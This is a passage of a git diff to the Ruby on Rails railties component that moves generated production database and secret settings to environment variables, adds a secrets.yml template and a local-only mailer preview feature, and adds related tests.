diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
index 28c36eb82f..66eba3bf0d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -18,6 +18,7 @@ test:
<<: *default
database: db/test.sqlite3
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- database: db/production.sqlite3
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index 3fc7ce28a1..d618fc28a6 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,4 +1,4 @@
-# MySQL. Versions 4.1 and 5.0 are recommended.
+# MySQL. Versions 5.0+ are recommended.
#
# Install the MYSQL driver
# gem install mysql2
@@ -32,6 +32,11 @@ test:
<<: *default
database: <%= app_name %>_test
+# Avoid production credentials in the repository,
+# instead read the configuration from the environment.
+#
+# Example:
+# mysql2://myuser:mypass@localhost/somedatabase
+#
production:
- <<: *default
- database: <%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
index d5b52c969b..d469ec0f99 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -32,6 +32,7 @@ test:
<<: *default
database: <%= app_name %>_test
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- database: <%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index eaeb82bddd..93f48656b2 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -17,16 +17,23 @@
default: &default
adapter: postgresql
encoding: unicode
- # For details on connection pooling, see rails configration guide
+ # For details on connection pooling, see rails configuration guide
# http://guides.rubyonrails.org/configuring.html#database-pooling
pool: 5
- username: <%= app_name %>
- password:
development:
<<: *default
database: <%= app_name %>_development
+ # The specified database role being used to connect to postgres.
+ # To create additional roles in postgres see `$ createuser --help`.
+ # When left blank, postgres will use the default role. This is
+ # the same name as the operating system user that initialized the database.
+ #username: <%= app_name %>
+
+ # The password associated with the postgres role (username).
+ #password:
+
# Connect on a TCP socket. Omitted by default since the client uses a
# domain socket that doesn't need configuration. Windows does not have
# domain sockets, so uncomment these lines.
@@ -52,6 +59,11 @@ test:
<<: *default
database: <%= app_name %>_test
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
+#
+# Example:
+# postgres://myuser:mypass@localhost/somedatabase
+#
production:
- <<: *default
- database: <%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
index 1c1a37ca8d..7312ddb6cd 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -20,6 +20,11 @@ test:
<<: *default
database: db/test.sqlite3
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
+#
+# Example:
+# sqlite3://myuser:mypass@localhost/full/path/to/somedatabase
+#
production:
- <<: *default
- database: db/production.sqlite3
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
index 4855f66c0d..aa960e493e 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -42,6 +42,7 @@ test:
<<: *default
database: <%= app_name %>_test
+# Do not keep production credentials in the repository,
+# instead read the configuration from the environment.
production:
- <<: *default
- database: <%= app_name %>_production
+ url: <%%= ENV["DATABASE_URL"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index b724d468a2..cce4743a33 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -29,5 +29,10 @@ Rails.application.configure do
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
+
+ # Adds additional error checking when serving assets at runtime.
+ # Checks for improperly declared sprockets dependencies.
+ # Raises helpful error messages.
+ config.assets.raise_runtime_errors = true
<%- end -%>
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 1dfc9f136b..3baa382bd6 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -70,7 +70,7 @@ Rails.application.configure do
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found).
+ # the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
index f3cc6098a3..6e2c45e119 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
@@ -7,6 +7,16 @@
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.
-# Make sure your secret_key_base is kept private
+# Make sure the secrets in this file are kept private
# if you're sharing your code publicly.
-Rails.application.config.secret_key_base = '<%= app_secret %>'
+
+development:
+ secret_key_base: <%= app_secret %>
+
+test:
+ secret_key_base: <%= app_secret %>
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+ secret_key_base: <%%= ENV["RAILS_SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
index 4fd060341e..4ade1a0bdc 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -4,8 +4,6 @@ require 'rails/test_help'
class ActiveSupport::TestCase
<% unless options[:skip_active_record] -%>
- ActiveRecord::Migration.check_pending!
-
# Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
#
# Note: You'll currently still have to declare fixtures explicitly in integration tests
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
index d576784415..88ec4e6354 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -39,5 +39,7 @@ end
<% end -%>
<% end -%>
+<% unless defined?(JRUBY_VERSION) -%>
# To use debugger
# gem 'debugger'
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
index a0e5553e44..e4a2bc2b0f 100644
--- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -9,7 +9,7 @@ module Rails
# should give you
#
# namespace :admin do
- # namespace :users
+ # namespace :users do
# resources :products
# end
# end
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
index 3334b189bf..85dee1a066 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -4,11 +4,18 @@ module TestUnit # :nodoc:
module Generators # :nodoc:
class MailerGenerator < Base # :nodoc:
argument :actions, type: :array, default: [], banner: "method method"
- check_class_collision suffix: "Test"
+
+ def check_class_collision
+ class_collisions "#{class_name}Test", "#{class_name}Preview"
+ end
def create_test_files
template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_test.rb")
end
+
+ def create_preview_files
+ template "preview.rb", File.join('test/mailers/previews', class_path, "#{file_name}_preview.rb")
+ end
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
new file mode 100644
index 0000000000..3bfd5426e8
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>
+class <%= class_name %>Preview < ActionMailer::Preview
+<% actions.each do |action| -%>
+
+ # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>/<%= action %>
+ def <%= action %>
+ <%= class_name %>.<%= action %>
+ end
+<% end -%>
+
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb
index 7576eba6e0..8e9028a3fb 100644
--- a/railties/lib/rails/generators/testing/behaviour.rb
+++ b/railties/lib/rails/generators/testing/behaviour.rb
@@ -61,9 +61,11 @@ module Rails
# You can provide a configuration hash as second argument. This method returns the output
# printed by the generator.
def run_generator(args=self.default_arguments, config={})
- capture(:stdout) do
- args += ['--skip-bundle'] unless args.include? '--dev'
- self.generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+ without_thor_debug do
+ capture(:stdout) do
+ args += ['--skip-bundle'] unless args.include? '--dev'
+ self.generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+ end
end
end
@@ -100,6 +102,14 @@ module Rails
dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, '')
Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
end
+
+ # TODO: remove this once Bundler 1.5.2 is released
+ def without_thor_debug # :nodoc:
+ thor_debug, ENV['THOR_DEBUG'] = ENV['THOR_DEBUG'], nil
+ yield
+ ensure
+ ENV['THOR_DEBUG'] = thor_debug
+ end
end
end
end
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index 85ea11b4e7..908c4ce65e 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,9 +1,9 @@
+require 'rails/application_controller'
require 'action_dispatch/routing/inspector'
-class Rails::InfoController < ActionController::Base # :nodoc:
- self.view_paths = File.expand_path('../templates', __FILE__)
+class Rails::InfoController < Rails::ApplicationController # :nodoc:
prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
- layout -> { request.xhr? ? nil : 'application' }
+ layout -> { request.xhr? ? false : 'application' }
before_filter :require_local!
@@ -20,16 +20,4 @@ class Rails::InfoController < ActionController::Base # :nodoc:
@routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
@page_title = 'Routes'
end
-
- protected
-
- def require_local!
- unless local_request?
- render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
- end
- end
-
- def local_request?
- Rails.application.config.consider_all_requests_local || request.local?
- end
end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
new file mode 100644
index 0000000000..dd318f52e5
--- /dev/null
+++ b/railties/lib/rails/mailers_controller.rb
@@ -0,0 +1,73 @@
+require 'rails/application_controller'
+
+class Rails::MailersController < Rails::ApplicationController # :nodoc:
+ prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+
+ before_filter :require_local!
+ before_filter :find_preview, only: :preview
+
+ def index
+ @previews = ActionMailer::Preview.all
+ @page_title = "Mailer Previews"
+ end
+
+ def preview
+ if params[:path] == @preview.preview_name
+ @page_title = "Mailer Previews for #{@preview.preview_name}"
+ render action: 'mailer'
+ else
+ email = File.basename(params[:path])
+
+ if @preview.email_exists?(email)
+ @email = @preview.call(email)
+
+ if params[:part]
+ part_type = Mime::Type.lookup(params[:part])
+
+ if part = find_part(part_type)
+ response.content_type = part_type
+ render text: part.respond_to?(:decoded) ? part.decoded : part
+ else
+ raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{email}"
+ end
+ else
+ @part = find_preferred_part(request.format, Mime::HTML, Mime::TEXT)
+ render action: 'email', layout: false, formats: %w[html]
+ end
+ else
+ raise AbstractController::ActionNotFound, "Email '#{email}' not found in #{@preview.name}"
+ end
+ end
+ end
+
+ protected
+ def find_preview
+ candidates = []
+ params[:path].to_s.scan(%r{/|$}){ candidates << $` }
+ preview = candidates.detect{ |candidate| ActionMailer::Preview.exists?(candidate) }
+
+ if preview
+ @preview = ActionMailer::Preview.find(preview)
+ else
+ raise AbstractController::ActionNotFound, "Mailer preview '#{params[:path]}' not found"
+ end
+ end
+
+ def find_preferred_part(*formats)
+ if @email.multipart?
+ formats.each do |format|
+ return find_part(format) if @email.parts.any?{ |p| p.mime_type == format }
+ end
+ else
+ @email
+ end
+ end
+
+ def find_part(format)
+ if @email.multipart?
+ @email.parts.find{ |p| p.mime_type == format }
+ elsif @email.mime_type == format
+ @email
+ end
+ end
+end \ No newline at end of file
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index f512aefb23..117bb37487 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -24,7 +24,7 @@ module Rails
#
# Notice that when you add a path using +add+, the path object created already
# contains the path with the same path value given to +add+. In some situations,
- # you may not want this behavior, so you can give :with as option.
+ # you may not want this behavior, so you can give <tt>:with</tt> as option.
#
# root.add "config/routes", with: "config/routes.rb"
# root["config/routes"].inspect # => ["config/routes.rb"]
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 89ca8cbe11..c63e0c0758 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -22,7 +22,7 @@ module Rails
#
# * creating initializers
# * configuring a Rails framework for the application, like setting a generator
- # * +adding config.*+ keys to the environment
+ # * adding <tt>config.*</tt> keys to the environment
# * setting up a subscriber with ActiveSupport::Notifications
# * adding rake tasks
#
@@ -63,8 +63,8 @@ module Rails
# end
# end
#
- # Finally, you can also pass :before and :after as option to initializer, in case
- # you want to couple it with a specific step in the initialization process.
+ # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as option to initializer,
+ # in case you want to couple it with a specific step in the initialization process.
#
# == Configuration
#
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
index 50a4755e45..5aecaa712a 100644
--- a/railties/lib/rails/templates/layouts/application.html.erb
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -29,7 +29,7 @@
</style>
</head>
<body>
-<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+
<%= yield %>
</body>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
new file mode 100644
index 0000000000..977feb922b
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -0,0 +1,98 @@
+<!DOCTYPE html>
+<html><head>
+<meta name="viewport" content="width=device-width" />
+<style type="text/css">
+ header {
+ width: 100%;
+ padding: 10px 0 0 0;
+ margin: 0;
+ background: white;
+ font: 12px "Lucida Grande", sans-serif;
+ border-bottom: 1px solid #dedede;
+ overflow: hidden;
+ }
+
+ dl {
+ margin: 0 0 10px 0;
+ padding: 0;
+ }
+
+ dt {
+ width: 80px;
+ padding: 1px;
+ float: left;
+ clear: left;
+ text-align: right;
+ color: #7f7f7f;
+ }
+
+ dd {
+ margin-left: 90px; /* 80px + 10px */
+ padding: 1px;
+ }
+
+ iframe {
+ border: 0;
+ width: 100%;
+ height: 800px;
+ }
+</style>
+</head>
+
+<body>
+<header>
+ <dl>
+ <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+ <dt>SMTP-From:</dt>
+ <dd><%= @email.smtp_envelope_from %></dd>
+ <% end %>
+
+ <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+ <dt>SMTP-To:</dt>
+ <dd><%= @email.smtp_envelope_to %></dd>
+ <% end %>
+
+ <dt>From:</dt>
+ <dd><%= @email.header['from'] %></dd>
+
+ <% if @email.reply_to %>
+ <dt>Reply-To:</dt>
+ <dd><%= @email.header['reply-to'] %></dd>
+ <% end %>
+
+ <dt>To:</dt>
+ <dd><%= @email.header['to'] %></dd>
+
+ <% if @email.cc %>
+ <dt>CC:</dt>
+ <dd><%= @email.header['cc'] %></dd>
+ <% end %>
+
+ <dt>Date:</dt>
+ <dd><%= Time.current.rfc2822 %></dd>
+
+ <dt>Subject:</dt>
+ <dd><strong><%= @email.subject %></strong></dd>
+
+ <% unless @email.attachments.nil? || @email.attachments.empty? %>
+ <dt>Attachments:</dt>
+ <dd>
+ <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.inspect %>
+ </dd>
+ <% end %>
+
+ <% if @email.multipart? %>
+ <dd>
+ <select onchange="document.getElementsByName('messageBody')[0].src=this.options[this.selectedIndex].value;">
+ <option <%= request.format == Mime::HTML ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option>
+ <option <%= request.format == Mime::TEXT ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option>
+ </select>
+ </dd>
+ <% end %>
+ </dl>
+</header>
+
+<iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe>
+
+</body>
+</html> \ No newline at end of file
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
new file mode 100644
index 0000000000..c4c9757d57
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -0,0 +1,8 @@
+<% @previews.each do |preview| %>
+<h3><%= link_to preview.preview_name.titleize, "/rails/mailers/#{preview.preview_name}" %></h3>
+<ul>
+<% preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
+<% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
new file mode 100644
index 0000000000..607c8d1677
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -0,0 +1,6 @@
+<h3><%= @preview.preview_name.titleize %></h3>
+<ul>
+<% @preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{@preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index be801befc2..2e6356343d 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -11,10 +11,12 @@ require 'rails/generators/test_case'
# Config Rails backtrace in tests.
require 'rails/backtrace_cleaner'
if ENV["BACKTRACE"].nil?
- MiniTest.backtrace_filter = Rails.backtrace_cleaner
+ Minitest.backtrace_filter = Rails.backtrace_cleaner
end
if defined?(ActiveRecord::Base)
+ ActiveRecord::Migration.maintain_test_schema!
+
class ActiveSupport::TestCase
include ActiveRecord::TestFixtures
self.fixture_path = "#{Rails.root}/test/fixtures/"
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 38107e77b2..285e2ce846 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,4 +1,3 @@
-require 'rbconfig'
require 'rake/testtask'
require 'rails/test_unit/sub_test_task'
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 5a6d8d0983..923cab4e2a 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -3,7 +3,7 @@ module Rails
MAJOR = 4
MINOR = 1
TINY = 0
- PRE = "beta"
+ PRE = "beta1"
STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
index 45b764fa6b..de9cd18b01 100644
--- a/railties/lib/rails/welcome_controller.rb
+++ b/railties/lib/rails/welcome_controller.rb
@@ -1,6 +1,7 @@
-class Rails::WelcomeController < ActionController::Base # :nodoc:
- self.view_paths = File.expand_path('../templates', __FILE__)
- layout nil
+require 'rails/application_controller'
+
+class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+ layout false
def index
end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index 643cc6b0ee..ade08d3f5a 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -14,6 +14,6 @@ require 'rails/all'
module TestApp
class Application < Rails::Application
config.root = File.dirname(__FILE__)
- config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
end
end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 03a735b1c1..6158c416d7 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -250,7 +250,7 @@ module ApplicationTests
test "Use key_generator when secret_key_base is set" do
make_basic_app do |app|
- app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
app.config.session_store :disabled
end
@@ -268,6 +268,74 @@ module ApplicationTests
assert_equal 'some_value', verifier.verify(last_response.body)
end
+ test "application verifier can be used in the entire application" do
+ make_basic_app do |app|
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ message = app.message_verifier(:sensitive_value).generate("some_value")
+
+ assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+
+ secret = app.key_generator.generate_key('sensitive_value')
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 'some_value', verifier.verify(message)
+ end
+
+ test "application verifier can build different verifiers" do
+ make_basic_app do |app|
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ default_verifier = app.message_verifier(:sensitive_value)
+ text_verifier = app.message_verifier(:text)
+
+ message = text_verifier.generate('some_value')
+
+ assert_equal 'some_value', text_verifier.verify(message)
+ assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+ default_verifier.verify(message)
+ end
+
+ assert_equal default_verifier.object_id, app.message_verifier(:sensitive_value).object_id
+ assert_not_equal default_verifier.object_id, text_verifier.object_id
+ end
+
+ test "secrets.secret_key_base is used when config/secrets.yml is present" do
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ YAML
+
+ require "#{app_path}/config/environment"
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+ end
+
+ test "secret_key_base is copied from config to secrets when not set" do
+ remove_file "config/secrets.yml"
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+ end
+
+ test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ aws_access_key_id: myamazonaccesskeyid
+ aws_secret_access_key: myamazonsecretaccesskey
+ YAML
+
+ require "#{app_path}/config/environment"
+ assert_equal 'myamazonaccesskeyid', app.secrets.aws_access_key_id
+ assert_equal 'myamazonsecretaccesskey', app.secrets.aws_secret_access_key
+ end
+
test "protect from forgery is the default in a new app" do
make_basic_app
@@ -459,7 +527,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading without cache_classes default" do
@@ -467,7 +535,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = false" do
@@ -478,7 +546,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = true" do
@@ -489,7 +557,21 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading with cache_classes in an environment" do
+ build_app(initializers: true)
+ add_to_env_config "development", "config.cache_classes = false"
+
+ # These requires are to emulate an engine loading Action View before the application
+ require 'action_view'
+ require 'action_view/railtie'
+ require 'action_view/base'
+
+ require "#{app_path}/config/environment"
+
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_dispatch.show_exceptions is sent in env" do
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 83104acf3c..3601a58f67 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -216,7 +216,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
orig_database_url = ENV.delete("DATABASE_URL")
orig_rails_env, Rails.env = Rails.env, 'development'
- database_url_db_name = "db/database_url_db.sqlite3"
+ database_url_db_name = File.join(app_path, "db/database_url_db.sqlite3")
ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
ActiveRecord::Base.establish_connection
assert ActiveRecord::Base.connection
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 97df073ec7..bc34897cdf 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -183,5 +183,50 @@ en:
load_app
assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
end
+
+ test "config.i18n.enforce_available_locales is set to true by default and avoids I18n warnings" do
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :it
+ RUBY
+
+ output = capture(:stderr) { load_app }
+ assert_no_match %r{deprecated.*enforce_available_locales}, output
+ assert_equal true, I18n.enforce_available_locales
+
+ assert_raise I18n::InvalidLocale do
+ I18n.locale = :es
+ end
+ end
+
+ test "disable config.i18n.enforce_available_locales" do
+ add_to_config <<-RUBY
+ config.i18n.enforce_available_locales = false
+ config.i18n.default_locale = :fr
+ RUBY
+
+ output = capture(:stderr) { load_app }
+ assert_no_match %r{deprecated.*enforce_available_locales}, output
+ assert_equal false, I18n.enforce_available_locales
+
+ assert_nothing_raised do
+ I18n.locale = :es
+ end
+ end
+
+ test "default config.i18n.enforce_available_locales does not override I18n.enforce_available_locales" do
+ I18n.enforce_available_locales = false
+
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :fr
+ RUBY
+
+ output = capture(:stderr) { load_app }
+ assert_no_match %r{deprecated.*enforce_available_locales}, output
+ assert_equal false, I18n.enforce_available_locales
+
+ assert_nothing_raised do
+ I18n.locale = :es
+ end
+ end
end
end
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
new file mode 100644
index 0000000000..c588fd7012
--- /dev/null
+++ b/railties/test/application/mailer_previews_test.rb
@@ -0,0 +1,428 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+module ApplicationTests
+ class MailerPreviewsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "/rails/mailers is accessible in development" do
+ app("development")
+ get "/rails/mailers"
+ assert_equal 200, last_response.status
+ end
+
+ test "/rails/mailers is not accessible in production" do
+ app("production")
+ get "/rails/mailers"
+ assert_equal 404, last_response.status
+ end
+
+ test "mailer previews are loaded from the default preview_path" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ end
+
+ test "mailer previews are loaded from a custom preview_path" do
